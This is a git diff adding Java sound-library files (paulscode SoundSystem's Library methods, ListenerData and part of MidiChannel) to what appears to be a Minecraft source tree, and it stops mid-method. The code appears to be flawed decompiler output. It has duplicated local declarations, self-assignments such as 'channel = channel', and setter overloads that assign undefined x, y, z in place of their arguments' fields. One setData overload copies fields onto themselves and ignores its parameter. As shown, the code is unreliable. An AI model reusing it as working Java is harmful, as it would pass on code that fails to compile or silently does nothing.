+
+
+
+
+
+
+  public void setPosition(String sourcename, float x, float y, float z)
+  {
+    Source mySource = (Source)sourceMap.get(sourcename);
+    if (mySource != null) {
+      mySource.setPosition(x, y, z);
+    }
+  }
+  
+
+
+
+
+
+  public void setPriority(String sourcename, boolean pri)
+  {
+    Source mySource = (Source)sourceMap.get(sourcename);
+    if (mySource != null) {
+      mySource.setPriority(pri);
+    }
+  }
+  
+
+
+
+
+
+  public void setLooping(String sourcename, boolean lp)
+  {
+    Source mySource = (Source)sourceMap.get(sourcename);
+    if (mySource != null) {
+      mySource.setLooping(lp);
+    }
+  }
+  
+
+
+
+
+  public void setAttenuation(String sourcename, int model)
+  {
+    Source mySource = (Source)sourceMap.get(sourcename);
+    if (mySource != null) {
+      mySource.setAttenuation(model);
+    }
+  }
+  
+
+
+
+
+  public void setDistOrRoll(String sourcename, float dr)
+  {
+    Source mySource = (Source)sourceMap.get(sourcename);
+    if (mySource != null) {
+      mySource.setDistOrRoll(dr);
+    }
+  }
+  
+
+
+
+
+
+
+  public void setVelocity(String sourcename, float x, float y, float z)
+  {
+    Source mySource = (Source)sourceMap.get(sourcename);
+    if (mySource != null) {
+      mySource.setVelocity(x, y, z);
+    }
+  }
+  
+
+
+
+
+
+  public void setListenerVelocity(float x, float y, float z)
+  {
+    listener.setVelocity(x, y, z);
+  }
+  
+
+
+
+
+  public void dopplerChanged() {}
+  
+
+
+
+
+  public float millisecondsPlayed(String sourcename)
+  {
+    if ((sourcename == null) || (sourcename.equals("")))
+    {
+      errorMessage("Sourcename not specified in method 'millisecondsPlayed'");
+      
+      return -1.0F;
+    }
+    
+    if (midiSourcename(sourcename))
+    {
+      errorMessage("Unable to calculate milliseconds for MIDI source.");
+      return -1.0F;
+    }
+    
+
+    Source source = (Source)sourceMap.get(sourcename);
+    if (source == null)
+    {
+      errorMessage("Source '" + sourcename + "' not found in " + "method 'millisecondsPlayed'");
+    }
+    
+    return source.millisecondsPlayed();
+  }
+  
+
+
+
+
+
+
+
+
+  public int feedRawAudioData(String sourcename, byte[] buffer)
+  {
+    if ((sourcename == null) || (sourcename.equals("")))
+    {
+      errorMessage("Sourcename not specified in method 'feedRawAudioData'");
+      
+      return -1;
+    }
+    
+    if (midiSourcename(sourcename))
+    {
+      errorMessage("Raw audio data can not be fed to the MIDI channel.");
+      
+      return -1;
+    }
+    
+
+    Source source = (Source)sourceMap.get(sourcename);
+    if (source == null)
+    {
+      errorMessage("Source '" + sourcename + "' not found in " + "method 'feedRawAudioData'");
+    }
+    
+    return feedRawAudioData(source, buffer);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public int feedRawAudioData(Source source, byte[] buffer)
+  {
+    if (source == null)
+    {
+      errorMessage("Source parameter null in method 'feedRawAudioData'");
+      
+      return -1;
+    }
+    if (!toStream)
+    {
+      errorMessage("Only a streaming source may be specified in method 'feedRawAudioData'");
+      
+      return -1;
+    }
+    if (!rawDataStream)
+    {
+      errorMessage("Streaming source already associated with a file or URL in method'feedRawAudioData'");
+      
+      return -1;
+    }
+    
+    if ((!source.playing()) || (channel == null)) {
+      Channel channel;
+      Channel channel;
+      if ((channel != null) && (channel.attachedSource == source))
+      {
+        channel = channel;
+      } else {
+        channel = getNextChannel(source);
+      }
+      int processed = source.feedRawAudioData(channel, buffer);
+      attachedSource = source;
+      streamThread.watch(source);
+      streamThread.interrupt();
+      return processed;
+    }
+    
+    return source.feedRawAudioData(channel, buffer);
+  }
+  
+
+
+
+
+  public void play(String sourcename)
+  {
+    if ((sourcename == null) || (sourcename.equals("")))
+    {
+      errorMessage("Sourcename not specified in method 'play'");
+      return;
+    }
+    
+    if (midiSourcename(sourcename))
+    {
+      midiChannel.play();
+    }
+    else
+    {
+      Source source = (Source)sourceMap.get(sourcename);
+      if (source == null)
+      {
+        errorMessage("Source '" + sourcename + "' not found in " + "method 'play'");
+      }
+      
+      play(source);
+    }
+  }
+  
+
+
+
+
+  public void play(Source source)
+  {
+    if (source == null) {
+      return;
+    }
+    
+
+    if (rawDataStream) {
+      return;
+    }
+    if (!source.active()) {
+      return;
+    }
+    if (!source.playing())
+    {
+      Channel channel = getNextChannel(source);
+      
+      if ((source != null) && (channel != null))
+      {
+        if ((channel != null) && (channel.attachedSource != source))
+        {
+          channel = null; }
+        attachedSource = source;
+        source.play(channel);
+        if (toStream)
+        {
+          streamThread.watch(source);
+          streamThread.interrupt();
+        }
+      }
+    }
+  }
+  
+
+
+
+
+  public void stop(String sourcename)
+  {
+    if ((sourcename == null) || (sourcename.equals("")))
+    {
+      errorMessage("Sourcename not specified in method 'stop'");
+      return;
+    }
+    if (midiSourcename(sourcename))
+    {
+      midiChannel.stop();
+    }
+    else
+    {
+      Source mySource = (Source)sourceMap.get(sourcename);
+      if (mySource != null) {
+        mySource.stop();
+      }
+    }
+  }
+  
+
+
+
+  public void pause(String sourcename)
+  {
+    if ((sourcename == null) || (sourcename.equals("")))
+    {
+      errorMessage("Sourcename not specified in method 'stop'");
+      return;
+    }
+    if (midiSourcename(sourcename))
+    {
+      midiChannel.pause();
+    }
+    else
+    {
+      Source mySource = (Source)sourceMap.get(sourcename);
+      if (mySource != null) {
+        mySource.pause();
+      }
+    }
+  }
+  
+
+
+
+  public void rewind(String sourcename)
+  {
+    if (midiSourcename(sourcename))
+    {
+      midiChannel.rewind();
+    }
+    else
+    {
+      Source mySource = (Source)sourceMap.get(sourcename);
+      if (mySource != null) {
+        mySource.rewind();
+      }
+    }
+  }
+  
+
+
+
+  public void flush(String sourcename)
+  {
+    if (midiSourcename(sourcename)) {
+      errorMessage("You can not flush the MIDI channel");
+    }
+    else {
+      Source mySource = (Source)sourceMap.get(sourcename);
+      if (mySource != null) {
+        mySource.flush();
+      }
+    }
+  }
+  
+
+
+
+
+  public void cull(String sourcename)
+  {
+    Source mySource = (Source)sourceMap.get(sourcename);
+    if (mySource != null) {
+      mySource.cull();
+    }
+  }
+  
+
+
+
+  public void activate(String sourcename)
+  {
+    Source mySource = (Source)sourceMap.get(sourcename);
+    if (mySource != null)
+    {
+      mySource.activate();
+      if (toPlay) {
+        play(mySource);
+      }
+    }
+  }
+  
+
+
+
+  public void setMasterVolume(float value)
+  {
+    SoundSystemConfig.setMasterGain(value);
+    if (midiChannel != null) {
+      midiChannel.resetGain();
+    }
+  }
+  
+
+
+
+
+  public void setVolume(String sourcename, float value)
+  {
+    if (midiSourcename(sourcename))
+    {
+      midiChannel.setVolume(value);
+    }
+    else
+    {
+      Source mySource = (Source)sourceMap.get(sourcename);
+      if (mySource != null)
+      {
+        float newVolume = value;
+        if (newVolume < 0.0F) {
+          newVolume = 0.0F;
+        } else if (newVolume > 1.0F) {
+          newVolume = 1.0F;
+        }
+        sourceVolume = newVolume;
+        mySource.positionChanged();
+      }
+    }
+  }
+  
+
+
+
+
+
+
+  public float getVolume(String sourcename)
+  {
+    if (midiSourcename(sourcename))
+    {
+      return midiChannel.getVolume();
+    }
+    
+
+    Source mySource = (Source)sourceMap.get(sourcename);
+    if (mySource != null) {
+      return sourceVolume;
+    }
+    return 0.0F;
+  }
+  
+
+
+
+
+
+
+  public void setPitch(String sourcename, float value)
+  {
+    if (!midiSourcename(sourcename))
+    {
+      Source mySource = (Source)sourceMap.get(sourcename);
+      if (mySource != null)
+      {
+        float newPitch = value;
+        if (newPitch < 0.5F) {
+          newPitch = 0.5F;
+        } else if (newPitch > 2.0F) {
+          newPitch = 2.0F;
+        }
+        mySource.setPitch(newPitch);
+        mySource.positionChanged();
+      }
+    }
+  }
+  
+
+
+
+
+
+  public float getPitch(String sourcename)
+  {
+    if (!midiSourcename(sourcename))
+    {
+      Source mySource = (Source)sourceMap.get(sourcename);
+      if (mySource != null)
+        return mySource.getPitch();
+    }
+    return 1.0F;
+  }
+  
+
+
+
+
+
+
+  public void moveListener(float x, float y, float z)
+  {
+    setListenerPosition(listener.position.x + x, listener.position.y + y, listener.position.z + z);
+  }
+  
+
+
+
+
+
+
+
+
+  public void setListenerPosition(float x, float y, float z)
+  {
+    listener.setPosition(x, y, z);
+    
+    Set<String> keys = sourceMap.keySet();
+    Iterator<String> iter = keys.iterator();
+    
+
+
+
+    while (iter.hasNext())
+    {
+      String sourcename = (String)iter.next();
+      Source source = (Source)sourceMap.get(sourcename);
+      if (source != null) {
+        source.positionChanged();
+      }
+    }
+  }
+  
+
+
+
+
+  public void turnListener(float angle)
+  {
+    setListenerAngle(listener.angle + angle);
+    
+    Set<String> keys = sourceMap.keySet();
+    Iterator<String> iter = keys.iterator();
+    
+
+
+
+    while (iter.hasNext())
+    {
+      String sourcename = (String)iter.next();
+      Source source = (Source)sourceMap.get(sourcename);
+      if (source != null) {
+        source.positionChanged();
+      }
+    }
+  }
+  
+
+
+
+
+  public void setListenerAngle(float angle)
+  {
+    listener.setAngle(angle);
+    
+    Set<String> keys = sourceMap.keySet();
+    Iterator<String> iter = keys.iterator();
+    
+
+
+
+    while (iter.hasNext())
+    {
+      String sourcename = (String)iter.next();
+      Source source = (Source)sourceMap.get(sourcename);
+      if (source != null) {
+        source.positionChanged();
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public void setListenerOrientation(float lookX, float lookY, float lookZ, float upX, float upY, float upZ)
+  {
+    listener.setOrientation(lookX, lookY, lookZ, upX, upY, upZ);
+    
+    Set<String> keys = sourceMap.keySet();
+    Iterator<String> iter = keys.iterator();
+    
+
+
+
+    while (iter.hasNext())
+    {
+      String sourcename = (String)iter.next();
+      Source source = (Source)sourceMap.get(sourcename);
+      if (source != null) {
+        source.positionChanged();
+      }
+    }
+  }
+  
+
+
+
+
+  public void setListenerData(ListenerData l)
+  {
+    listener.setData(l);
+  }
+  
+
+
+
+
+  public void copySources(HashMap<String, Source> srcMap)
+  {
+    if (srcMap == null)
+      return;
+    Set<String> keys = srcMap.keySet();
+    Iterator<String> iter = keys.iterator();
+    
+
+
+
+    sourceMap.clear();
+    
+
+    while (iter.hasNext())
+    {
+      String sourcename = (String)iter.next();
+      Source srcData = (Source)srcMap.get(sourcename);
+      if (srcData != null)
+      {
+        loadSound(filenameURL);
+        sourceMap.put(sourcename, new Source(srcData, null));
+      }
+    }
+  }
+  
+
+
+
+
+  public void removeSource(String sourcename)
+  {
+    Source mySource = (Source)sourceMap.get(sourcename);
+    if (mySource != null)
+      mySource.cleanup();
+    sourceMap.remove(sourcename);
+  }
+  
+
+
+
+  public void removeTemporarySources()
+  {
+    Set<String> keys = sourceMap.keySet();
+    Iterator<String> iter = keys.iterator();
+    
+
+
+
+    while (iter.hasNext())
+    {
+      String sourcename = (String)iter.next();
+      Source srcData = (Source)sourceMap.get(sourcename);
+      if ((srcData != null) && (temporary) && (!srcData.playing()))
+      {
+
+        srcData.cleanup();
+        iter.remove();
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private Channel getNextChannel(Source source)
+  {
+    if (source == null) {
+      return null;
+    }
+    String sourcename = sourcename;
+    if (sourcename == null) {
+      return null;
+    }
+    
+    String[] sourceNames;
+    
+    int nextChannel;
+    
+    List<Channel> channelList;
+    String[] sourceNames;
+    if (toStream)
+    {
+      int nextChannel = nextStreamingChannel;
+      List<Channel> channelList = streamingChannels;
+      sourceNames = streamingChannelSourceNames;
+    }
+    else
+    {
+      nextChannel = nextNormalChannel;
+      channelList = normalChannels;
+      sourceNames = normalChannelSourceNames;
+    }
+    
+    int channels = channelList.size();
+    
+
+    for (int x = 0; x < channels; x++)
+    {
+      if (sourcename.equals(sourceNames[x])) {
+        return (Channel)channelList.get(x);
+      }
+    }
+    int n = nextChannel;
+    
+
+    for (x = 0; x < channels; x++)
+    {
+      String name = sourceNames[n];
+      Source src; Source src; if (name == null) {
+        src = null;
+      } else {
+        src = (Source)sourceMap.get(name);
+      }
+      if ((src == null) || (!src.playing()))
+      {
+        if (toStream)
+        {
+          nextStreamingChannel = (n + 1);
+          if (nextStreamingChannel >= channels) {
+            nextStreamingChannel = 0;
+          }
+        }
+        else {
+          nextNormalChannel = (n + 1);
+          if (nextNormalChannel >= channels)
+            nextNormalChannel = 0;
+        }
+        sourceNames[n] = sourcename;
+        return (Channel)channelList.get(n);
+      }
+      n++;
+      if (n >= channels) {
+        n = 0;
+      }
+    }
+    n = nextChannel;
+    
+    for (x = 0; x < channels; x++)
+    {
+      String name = sourceNames[n];
+      Source src; Source src; if (name == null) {
+        src = null;
+      } else {
+        src = (Source)sourceMap.get(name);
+      }
+      if ((src == null) || (!src.playing()) || (!priority))
+      {
+        if (toStream)
+        {
+          nextStreamingChannel = (n + 1);
+          if (nextStreamingChannel >= channels) {
+            nextStreamingChannel = 0;
+          }
+        }
+        else {
+          nextNormalChannel = (n + 1);
+          if (nextNormalChannel >= channels)
+            nextNormalChannel = 0;
+        }
+        sourceNames[n] = sourcename;
+        return (Channel)channelList.get(n);
+      }
+      n++;
+      if (n >= channels) {
+        n = 0;
+      }
+    }
+    return null;
+  }
+  
+
+
+
+
+
+  public void replaySources()
+  {
+    Set<String> keys = sourceMap.keySet();
+    Iterator<String> iter = keys.iterator();
+    
+
+
+
+    while (iter.hasNext())
+    {
+      String sourcename = (String)iter.next();
+      Source source = (Source)sourceMap.get(sourcename);
+      if ((source != null) && 
+      
+        (toPlay) && (!source.playing()))
+      {
+        play(sourcename);
+        toPlay = false;
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public void queueSound(String sourcename, FilenameURL filenameURL)
+  {
+    if (midiSourcename(sourcename))
+    {
+      midiChannel.queueSound(filenameURL);
+    }
+    else
+    {
+      Source mySource = (Source)sourceMap.get(sourcename);
+      if (mySource != null) {
+        mySource.queueSound(filenameURL);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+  public void dequeueSound(String sourcename, String filename)
+  {
+    if (midiSourcename(sourcename))
+    {
+      midiChannel.dequeueSound(filename);
+    }
+    else
+    {
+      Source mySource = (Source)sourceMap.get(sourcename);
+      if (mySource != null) {
+        mySource.dequeueSound(filename);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void fadeOut(String sourcename, FilenameURL filenameURL, long milis)
+  {
+    if (midiSourcename(sourcename))
+    {
+      midiChannel.fadeOut(filenameURL, milis);
+    }
+    else
+    {
+      Source mySource = (Source)sourceMap.get(sourcename);
+      if (mySource != null) {
+        mySource.fadeOut(filenameURL, milis);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void fadeOutIn(String sourcename, FilenameURL filenameURL, long milisOut, long milisIn)
+  {
+    if (midiSourcename(sourcename))
+    {
+      midiChannel.fadeOutIn(filenameURL, milisOut, milisIn);
+    }
+    else
+    {
+      Source mySource = (Source)sourceMap.get(sourcename);
+      if (mySource != null) {
+        mySource.fadeOutIn(filenameURL, milisOut, milisIn);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public void checkFadeVolumes()
+  {
+    if (midiChannel != null) {
+      midiChannel.resetGain();
+    }
+    
+    for (int x = 0; x < streamingChannels.size(); x++)
+    {
+      Channel c = (Channel)streamingChannels.get(x);
+      if (c != null)
+      {
+        Source s = attachedSource;
+        if (s != null)
+          s.checkFadeOut();
+      }
+    }
+    Channel c = null;
+    Source s = null;
+  }
+  
+
+
+
+
+
+
+
+  public void loadMidi(boolean toLoop, String sourcename, FilenameURL filenameURL)
+  {
+    if (filenameURL == null)
+    {
+      errorMessage("Filename/URL not specified in method 'loadMidi'.");
+      return;
+    }
+    
+    if (!filenameURL.getFilename().matches(SoundSystemConfig.EXTENSION_MIDI))
+    {
+
+      errorMessage("Filename/identifier doesn't end in '.mid' or'.midi' in method loadMidi.");
+      
+      return;
+    }
+    
+    if (midiChannel == null)
+    {
+      midiChannel = new MidiChannel(toLoop, sourcename, filenameURL);
+    }
+    else
+    {
+      midiChannel.switchSource(toLoop, sourcename, filenameURL);
+    }
+  }
+  
+
+
+
+  public void unloadMidi()
+  {
+    if (midiChannel != null)
+      midiChannel.cleanup();
+    midiChannel = null;
+  }
+  
+
+
+
+
+
+  public boolean midiSourcename(String sourcename)
+  {
+    if ((midiChannel == null) || (sourcename == null)) {
+      return false;
+    }
+    if ((midiChannel.getSourcename() == null) || (sourcename.equals(""))) {
+      return false;
+    }
+    if (sourcename.equals(midiChannel.getSourcename())) {
+      return true;
+    }
+    return false;
+  }
+  
+
+
+
+
+
+
+  public Source getSource(String sourcename)
+  {
+    return (Source)sourceMap.get(sourcename);
+  }
+  
+
+
+
+
+
+  public MidiChannel getMidiChannel()
+  {
+    return midiChannel;
+  }
+  
+
+
+
+
+
+  public void setMidiChannel(MidiChannel c)
+  {
+    if ((midiChannel != null) && (midiChannel != c)) {
+      midiChannel.cleanup();
+    }
+    midiChannel = c;
+  }
+  
+
+
+
+  public void listenerMoved()
+  {
+    Set<String> keys = sourceMap.keySet();
+    Iterator<String> iter = keys.iterator();
+    
+
+
+
+    while (iter.hasNext())
+    {
+      String sourcename = (String)iter.next();
+      Source srcData = (Source)sourceMap.get(sourcename);
+      if (srcData != null)
+      {
+        srcData.listenerMoved();
+      }
+    }
+  }
+  
+
+
+
+
+  public HashMap<String, Source> getSources()
+  {
+    return sourceMap;
+  }
+  
+
+
+
+
+  public ListenerData getListenerData()
+  {
+    return listener;
+  }
+  
+
+
+
+
+
+  public boolean reverseByteOrder()
+  {
+    return reverseByteOrder;
+  }
+  
+
+
+
+  public static String getTitle()
+  {
+    return "No Sound";
+  }
+  
+
+
+
+
+  public static String getDescription()
+  {
+    return "Silent Mode";
+  }
+  
+
+
+
+
+  public String getClassName()
+  {
+    return "Library";
+  }
+  
+
+
+
+
+  protected void message(String message)
+  {
+    logger.message(message, 0);
+  }
+  
+
+
+
+
+  protected void importantMessage(String message)
+  {
+    logger.importantMessage(message, 0);
+  }
+  
+
+
+
+
+
+
+  protected boolean errorCheck(boolean error, String message)
+  {
+    return logger.errorCheck(error, getClassName(), message, 0);
+  }
+  
+
+
+
+
+  protected void errorMessage(String message)
+  {
+    logger.errorMessage(getClassName(), message, 0);
+  }
+  
+
+
+
+
+  protected void printStackTrace(Exception e)
+  {
+    logger.printStackTrace(e, 1);
+  }
+}
diff --git a/src/minecraft/paulscode/sound/ListenerData.java b/src/minecraft/paulscode/sound/ListenerData.java
new file mode 100644
index 0000000..baa80fa
--- /dev/null
+++ b/src/minecraft/paulscode/sound/ListenerData.java
@@ -0,0 +1,282 @@
+package paulscode.sound;
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ListenerData
+{
+  public Vector3D position;
+  
+
+
+
+
+
+
+
+
+
+
+  public Vector3D lookAt;
+  
+
+
+
+
+
+
+
+
+
+
+  public Vector3D up;
+  
+
+
+
+
+
+
+
+
+
+
+  public Vector3D velocity;
+  
+
+
+
+
+
+
+
+
+
+
+  public float angle = 0.0F;
+  
+
+
+
+  public ListenerData()
+  {
+    position = new Vector3D(0.0F, 0.0F, 0.0F);
+    lookAt = new Vector3D(0.0F, 0.0F, -1.0F);
+    up = new Vector3D(0.0F, 1.0F, 0.0F);
+    velocity = new Vector3D(0.0F, 0.0F, 0.0F);
+    angle = 0.0F;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public ListenerData(float pX, float pY, float pZ, float lX, float lY, float lZ, float uX, float uY, float uZ, float a)
+  {
+    position = new Vector3D(pX, pY, pZ);
+    lookAt = new Vector3D(lX, lY, lZ);
+    up = new Vector3D(uX, uY, uZ);
+    velocity = new Vector3D(0.0F, 0.0F, 0.0F);
+    angle = a;
+  }
+  
+
+
+
+
+
+
+
+
+  public ListenerData(Vector3D p, Vector3D l, Vector3D u, float a)
+  {
+    position = p.clone();
+    lookAt = l.clone();
+    up = u.clone();
+    velocity = new Vector3D(0.0F, 0.0F, 0.0F);
+    angle = a;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void setData(float pX, float pY, float pZ, float lX, float lY, float lZ, float uX, float uY, float uZ, float a)
+  {
+    position.x = pX;
+    position.y = pY;
+    position.z = pZ;
+    lookAt.x = lX;
+    lookAt.y = lY;
+    lookAt.z = lZ;
+    up.x = uX;
+    up.y = uY;
+    up.z = uZ;
+    angle = a;
+  }
+  
+
+
+
+
+
+
+
+
+  public void setData(Vector3D p, Vector3D l, Vector3D u, float a)
+  {
+    position.x = x;
+    position.y = y;
+    position.z = z;
+    lookAt.x = x;
+    lookAt.y = y;
+    lookAt.z = z;
+    up.x = x;
+    up.y = y;
+    up.z = z;
+    angle = a;
+  }
+  
+
+
+
+
+  public void setData(ListenerData l)
+  {
+    position.x = position.x;
+    position.y = position.y;
+    position.z = position.z;
+    lookAt.x = lookAt.x;
+    lookAt.y = lookAt.y;
+    lookAt.z = lookAt.z;
+    up.x = up.x;
+    up.y = up.y;
+    up.z = up.z;
+    angle = angle;
+  }
+  
+
+
+
+
+
+
+  public void setPosition(float x, float y, float z)
+  {
+    position.x = x;
+    position.y = y;
+    position.z = z;
+  }
+  
+
+
+
+
+  public void setPosition(Vector3D p)
+  {
+    position.x = x;
+    position.y = y;
+    position.z = z;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public void setOrientation(float lX, float lY, float lZ, float uX, float uY, float uZ)
+  {
+    lookAt.x = lX;
+    lookAt.y = lY;
+    lookAt.z = lZ;
+    up.x = uX;
+    up.y = uY;
+    up.z = uZ;
+  }
+  
+
+
+
+
+
+  public void setOrientation(Vector3D l, Vector3D u)
+  {
+    lookAt.x = x;
+    lookAt.y = y;
+    lookAt.z = z;
+    up.x = x;
+    up.y = y;
+    up.z = z;
+  }
+  
+
+
+
+
+  public void setVelocity(Vector3D v)
+  {
+    velocity.x = x;
+    velocity.y = y;
+    velocity.z = z;
+  }
+  
+
+
+
+
+
+
+  public void setVelocity(float x, float y, float z)
+  {
+    velocity.x = x;
+    velocity.y = y;
+    velocity.z = z;
+  }
+  
+
+
+
+
+  public void setAngle(float a)
+  {
+    angle = a;
+    lookAt.x = (-1.0F * (float)Math.sin(angle));
+    lookAt.z = (-1.0F * (float)Math.cos(angle));
+  }
+}
diff --git a/src/minecraft/paulscode/sound/MidiChannel.java b/src/minecraft/paulscode/sound/MidiChannel.java
new file mode 100644
index 0000000..fec6dcd
--- /dev/null
+++ b/src/minecraft/paulscode/sound/MidiChannel.java
@@ -0,0 +1,1599 @@
+package paulscode.sound;
+
+import java.io.IOException;
+import java.net.URL;
+import java.util.LinkedList;
+import java.util.ListIterator;
+import javax.sound.midi.InvalidMidiDataException;
+import javax.sound.midi.MetaEventListener;
+import javax.sound.midi.MetaMessage;
+import javax.sound.midi.MidiDevice;
+import javax.sound.midi.MidiDevice.Info;
+import javax.sound.midi.MidiSystem;
+import javax.sound.midi.MidiUnavailableException;
+import javax.sound.midi.Receiver;
+import javax.sound.midi.Sequence;
+import javax.sound.midi.Sequencer;
+import javax.sound.midi.ShortMessage;
+import javax.sound.midi.Synthesizer;
+import javax.sound.midi.Transmitter;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class MidiChannel
+  implements MetaEventListener
+{
+  private SoundSystemLogger logger;
+  private FilenameURL filenameURL;
+  private String sourcename;
+  private static final int CHANGE_VOLUME = 7;
+  private static final int END_OF_TRACK = 47;
+  private static final boolean GET = false;
+  private static final boolean SET = true;
+  private static final boolean XXX = false;
+  private Sequencer sequencer = null;
+  
+
+
+
+  private Synthesizer synthesizer = null;
+  
+
+
+
+  private MidiDevice synthDevice = null;
+  
+
+
+
+  private Sequence sequence = null;
+  
+
+
+
+  private boolean toLoop = true;
+  
+
+
+
+  private float gain = 1.0F;
+  
+
+
+
+  private boolean loading = true;
+  
+
+
+
+  private LinkedList<FilenameURL> sequenceQueue = null;
+  
+
+
+
+  private final Object sequenceQueueLock = new Object();
+  
+
+
+
+
+  protected float fadeOutGain = -1.0F;
+  
+
+
+
+
+  protected float fadeInGain = 1.0F;
+  
+
+
+
+  protected long fadeOutMilis = 0L;
+  
+
+
+
+  protected long fadeInMilis = 0L;
+  
+
+
+
+  protected long lastFadeCheck = 0L;
+  
+
+
+
+  private FadeThread fadeThread = null;
+  
+
+
+
+
+
+
+
+  public MidiChannel(boolean toLoop, String sourcename, String filename)
+  {
+    loading(true, true);
+    
+
+    logger = SoundSystemConfig.getLogger();
+    
+
+    filenameURL(true, new FilenameURL(filename));
+    sourcename(true, sourcename);
+    setLooping(toLoop);
+    
+
+    init();
+    
+
+    loading(true, false);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public MidiChannel(boolean toLoop, String sourcename, URL midiFile, String identifier)
+  {
+    loading(true, true);
+    
+
+    logger = SoundSystemConfig.getLogger();
+    
+
+    filenameURL(true, new FilenameURL(midiFile, identifier));
+    sourcename(true, sourcename);
+    setLooping(toLoop);
+    
+
+    init();
+    
+
+    loading(true, false);
+  }
+  
+
+
+
+
+
+
+
+
+  public MidiChannel(boolean toLoop, String sourcename, FilenameURL midiFilenameURL)
+  {
+    loading(true, true);
+    
+
+    logger = SoundSystemConfig.getLogger();
+    
+
+    filenameURL(true, midiFilenameURL);
+    sourcename(true, sourcename);
+    setLooping(toLoop);
+    
+
+    init();
+    
+
+    loading(true, false);
+  }
+  
+
+
+
+
+  private void init()
+  {
+    getSequencer();
+    
+
+    setSequence(filenameURL(false, null).getURL());
+    
+
+    getSynthesizer();
+    
+
+
+    resetGain();
+  }
+  
+
+
+
+  public void cleanup()
+  {
+    loading(true, true);
+    setLooping(true);
+    
+    if (sequencer != null)
+    {
+      try
+      {
+        sequencer.stop();
+        sequencer.close();
+        sequencer.removeMetaEventListener(this);
+      }
+      catch (Exception e) {}
+    }
+    
+
+    logger = null;
+    sequencer = null;
+    synthesizer = null;
+    sequence = null;
+    
+    synchronized (sequenceQueueLock)
+    {
+      if (sequenceQueue != null)
+        sequenceQueue.clear();
+      sequenceQueue = null;
+    }
+    
+
+    if (fadeThread != null)
+    {
+      boolean killException = false;
+      try
+      {
+        fadeThread.kill();
+        fadeThread.interrupt();
+      }
+      catch (Exception e)
+      {
+        killException = true;
+      }
+      
+      if (!killException)
+      {
+
+        for (int i = 0; i < 50; i++)
+        {
+          if (!fadeThread.alive())
+            break;
+          try { Thread.sleep(100L);
+          }
+          catch (InterruptedException e) {}
+        }
+      }
+      if ((killException) || (fadeThread.alive()))
+      {
+        errorMessage("MIDI fade effects thread did not die!");
+        message("Ignoring errors... continuing clean-up.");
+      }
+    }
+    
+    fadeThread = null;
+    
+    loading(true, false);
+  }
+  
+
+
+
+
+  public void queueSound(FilenameURL filenameURL)
+  {
+    if (filenameURL == null)
+    {
+      errorMessage("Filename/URL not specified in method 'queueSound'");
+      return;
+    }
+    
+    synchronized (sequenceQueueLock)
+    {
+      if (sequenceQueue == null)
+        sequenceQueue = new LinkedList();
+      sequenceQueue.add(filenameURL);
+    }
+  }
+  
+
+
+
+
+
+
+  public void dequeueSound(String filename)
+  {
+    if ((filename == null) || (filename.equals("")))
+    {
+      errorMessage("Filename not specified in method 'dequeueSound'");
+      return;
+    }
+    
+    synchronized (sequenceQueueLock)
+    {
+      if (sequenceQueue != null)
+      {
+        ListIterator<FilenameURL> i = sequenceQueue.listIterator();
+        while (i.hasNext())
+        {
+          if (((FilenameURL)i.next()).getFilename().equals(filename))
+          {
+            i.remove();
+          }
+        }
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public void fadeOut(FilenameURL filenameURL, long milis)
+  {
+    if (milis < 0L)
+    {
+      errorMessage("Miliseconds may not be negative in method 'fadeOut'.");
+      
+      return;
+    }
+    
+    fadeOutMilis = milis;
+    fadeInMilis = 0L;
+    fadeOutGain = 1.0F;
+    lastFadeCheck = System.currentTimeMillis();
+    
+    synchronized (sequenceQueueLock)
+    {
+      if (sequenceQueue != null) {
+        sequenceQueue.clear();
+      }
+      if (filenameURL != null)
+      {
+        if (sequenceQueue == null)
+          sequenceQueue = new LinkedList();
+        sequenceQueue.add(filenameURL);
+      }
+    }
+    if (fadeThread == null)
+    {
+      fadeThread = new FadeThread(null);
+      fadeThread.start();
+    }
+    fadeThread.interrupt();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void fadeOutIn(FilenameURL filenameURL, long milisOut, long milisIn)
+  {
+    if (filenameURL == null)
+    {
+      errorMessage("Filename/URL not specified in method 'fadeOutIn'.");
+      return;
+    }
+    if ((milisOut < 0L) || (milisIn < 0L))
+    {
+      errorMessage("Miliseconds may not be negative in method 'fadeOutIn'.");
+      
+      return;
+    }
+    
+    fadeOutMilis = milisOut;
+    fadeInMilis = milisIn;
+    fadeOutGain = 1.0F;
+    lastFadeCheck = System.currentTimeMillis();
+    
+    synchronized (sequenceQueueLock)
+    {
+      if (sequenceQueue == null)
+        sequenceQueue = new LinkedList();
+      sequenceQueue.clear();
+      sequenceQueue.add(filenameURL);
+    }
+    if (fadeThread == null)
+    {
+      fadeThread = new FadeThread(null);
+      fadeThread.start();
+    }
+    fadeThread.interrupt();
+  }
+  
+
+
+
+
+
+
+
+  private synchronized boolean checkFadeOut()
+  {
+    if ((fadeOutGain == -1.0F) && (fadeInGain == 1.0F)) {
+      return false;
+    }
+    long currentTime = System.currentTimeMillis();
+    long milisPast = currentTime - lastFadeCheck;
+    lastFadeCheck = currentTime;
+    
+    if (fadeOutGain >= 0.0F)
+    {
+      if (fadeOutMilis == 0L)
+      {
+        fadeOutGain = 0.0F;
+        fadeInGain = 0.0F;
+        if (!incrementSequence())
+          stop();
+        rewind();
+        resetGain();
+        return false;
+      }
+      
+
